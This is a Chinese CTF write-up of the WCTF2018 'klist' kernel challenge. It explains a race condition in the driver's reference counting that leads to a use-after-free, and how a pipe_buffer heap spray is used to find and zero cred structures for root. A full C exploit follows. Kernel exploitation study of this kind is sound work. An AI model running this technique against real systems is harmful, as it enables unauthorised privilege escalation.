WCTF2018-klist-WP
本文参考自 ha1vk 师傅的linux kernel pwn学习之条件竞争(一)
借着这道题初步学习了一下 kernel 中条件竞争的利用。本题主要是通过条件竞争造成 UAF,然后通过 pipe_buffer 造成堆喷射实现提权。
驱动注册了 ioctl,read 和 write 方法。
整个程序维护了一个单向链表,可以存储一定的数据。此链表的每一个节点都是一个不定长的结构体,用伪代码表示就是
struct DATA
{
long long counter;
long long buf_size;
struct DATA* next;
char buf[];
}
而 ioctl 实现了对该链表的增删查的功能

read 和 write 可以对 select_item 选定的节点进行读写。
对于链表结构体中的每个节点都有一个引用计数器 counter,在 add_item 是会把这个计数器置 1。相关的操作为 get 和 put


也就是 get 对 a1 结构体中的引用计数器加一,put 将其减一。并且 put 在引用计数器减到 0 时会把该结构体 free 掉。这种形式有点类似于 C++ 中的 std::shared_ptr
。
由于虚拟机使用的是多线程 CPU,而此链表是设备的全局变量,所以 get 和 put 操作都是临界区操作。
在前三个功能中,所有临界区代码都通过互斥锁进行了保护,而在 list_head 操作中

可见很刻意地在 put 操作前解开了互斥锁,这就存在一个条件竞争的漏洞,在执行 put(g_list) 时,可能这个 g_list 已经不是之前 get 的 g_list 了。
而 g_list 是链表的头节点,在 add_item 的时候

链表是头插的,也就是说,在 list_head 函数中,对互斥锁解锁后,put 结束前,如果有别的线程执行的 add_item 的操作,就会导致 g_list 变成一个引用计数器为 1 的节点,然后执行 put 的时候就会 free 掉这个节点,但是不会把该节点解链,这样就造成了一个 UAF。
有了 UAF 之后,就可以考虑提权了,之前学习通过劫持 tty_struct 的虚表提权,但是此内核中,init 脚本中有这么一句
chown root:tty /dev/ptmx
使我们在提权前无法使用 ptmx 驱动。这样就必须用别的方法来提权了,即 pipe_buffer+堆喷射。
之前提到链表中的每个节点的结构为
struct DATA
{
long long counter;
long long buf_size;
struct DATA* next;
char buf[];
}
而 pipe_buffer 的结构为
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
如果 pipe_buffer 使用了我们可以 UAF 的 chunk,那么 buf_size 字段的值就是 (len << 32) | offset
。也就是说,对管道中写一定长度的数据就可以把 buf_size 伪造的非常大,然后通过驱动注册的 read 方法把堆全部读出来,找到其中的 cred 结构体,覆写 id 为 0 即可提权。
如果要做到让 pipe_buffer 使用我们可控的 chunk,就需要申请一个和 pipe_buffer 等大的 chunk,struct pipe_buffer 的大小为 0x28,并且在分配时乘了 0x10,所以我们申请出来的 chunk 的大小就应该是 0x280。
exp
#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <wait.h>
#define PIPE_BUF_SIZE 0x280
#define UID 1000
struct USER_REQ
{
long long size;
char* buf;
};
void select_item(int fd, long long idx)
{
ioctl(fd, 0x1338, idx);
}
void add_item(int fd, char* buf, long long size)
{
struct USER_REQ req;
req.buf = buf;
req.size = size;
ioctl(fd, 0x1337, &req);
}
void remove_item(int fd, long long idx)
{
ioctl(fd, 0x1339, idx);
}
void list_head(int fd, char* buf)
{
ioctl(fd, 0x133A, buf);
}
void check_root()
{
while (1)
{
sleep(1);
if (getuid() == 0)
{
puts("[+] root");
system("cat /flag");
exit(0);
}
}
}
int main()
{
int fd = open("/dev/klist", O_RDWR);
if (fd < 0)
{
puts("[-] device open failed");
exit(-1);
}
char buf1[PIPE_BUF_SIZE];
char buf2[PIPE_BUF_SIZE];
char buf_filled_A[PIPE_BUF_SIZE];
char buf_filled_B[PIPE_BUF_SIZE];
memset(buf1, 'A', PIPE_BUF_SIZE - 24);
memset(buf2, 'A', PIPE_BUF_SIZE - 24);
memset(buf_filled_A, 'A', PIPE_BUF_SIZE - 24);
memset(buf_filled_B, 'B', PIPE_BUF_SIZE - 24);
add_item(fd, buf_filled_A, PIPE_BUF_SIZE - 24);
select_item(fd, 0);
int pid = fork();
if (pid < 0)
{
puts("[-] fork err");
exit(-1);
}
else
{
if (pid == 0)
{
/* child */
for (int i = 0; i < 200; i++)
{
if (fork() == 0)
{
check_root();
}
}
/* race with the parent thread */
while(1)
{
add_item(fd, buf_filled_A, PIPE_BUF_SIZE - 24);
select_item(fd, 0);
remove_item(fd, 0);
add_item(fd, buf_filled_B, PIPE_BUF_SIZE - 24);
read(fd, buf2, PIPE_BUF_SIZE - 24);
if (buf2[0] != 'A')
{
puts("[+] race competed in child process");
puts(buf2);
break;
}
remove_item(fd, 0);
}
sleep(1);
remove_item(fd, 0);
int pipe_fd[2];
pipe(pipe_fd);
write(pipe_fd[1], buf_filled_B, PIPE_BUF_SIZE);
size_t mem_len = 0x1000000;
uint32_t* heap_data = calloc(1, mem_len);
read(fd, heap_data, mem_len);
int cnt = 0;
size_t max_len = 0;
for (int i = 0; i < mem_len / 4; i++)
{
if (heap_data[i] == UID && heap_data[i + 1] == UID && heap_data[i + 7] == UID)
{
puts("[+] found cred");
memset(heap_data + i, 0, 28);
max_len = i;
if (cnt++ > 2)
{
break;
}
}
}
if (max_len == 0)
{
puts("[-] failed finding creds");
}
write(fd, heap_data, max_len * 4);
check_root();
}
else
{
/* parent */
while (1)
{
list_head(fd, buf1);
read(fd, buf1, PIPE_BUF_SIZE - 24);
if (buf1[0] != 'A')
{
/* race competed */
puts("[+] parent detected race");
break;
}
}
wait(NULL);
}
}
}
条件竞争比较容易实现,但是成功完成提权不是很容易,需要多次尝试。
